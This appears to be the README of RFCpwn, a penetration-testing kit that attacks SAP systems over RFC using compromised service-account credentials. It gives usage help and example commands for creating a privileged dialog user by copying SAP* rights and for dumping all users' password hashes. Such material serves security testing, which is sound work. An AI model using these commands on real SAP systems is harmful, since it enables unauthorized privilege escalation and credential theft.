icryo/rfcpwnUn kit de enumeración y explotación que utiliza llamadas RFC a SAP.
Un kit de herramientas de enumeración y explotación de SAP que utiliza llamadas RFC de SAP
Twitter: @icryo
Este es un kit de herramientas para demostrar el impacto de cuentas de servicio comprometidas.
Esta PoC no está destinada para su uso en entornos de producción, no se garantiza estabilidad ni soporte.
RFCpwn depende de pyrfc y las bibliotecas proporcionadas por SAP en: https://github.com/SAP/PyRFC#installation
usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]
An Impacket style enumeration and exploitation tool using SAP RFC calls
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
Authentication:
-ip IP <targetName or address>
-u Username RFC Users Username
-p Password RFC Users Password
-c Client Client- eg.000
-s Sysid System Number- eg 00
-ping RFC Ping Command
User Abuse:
-enum Use to enumerate a specific user
-usercopy add a Dialog User
-user USER Required for -usercopy and -userenum to specify the user
-copy COPY User to be copied required for -usercopy
-pw PW password of new user for -usercopy
Hash Collection:
-dump Dump hashes use with below
-exp EXPERIMENTAL - Dump BCODE / PASSCODE hashes
Ping - confirm connectivity
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -ping
Copy a users rights into a new dialog user. If -copy is not specified SAP* is used.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
Dump hashes from all users. option -exp for experimental bcode & passcode hashes.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -dump
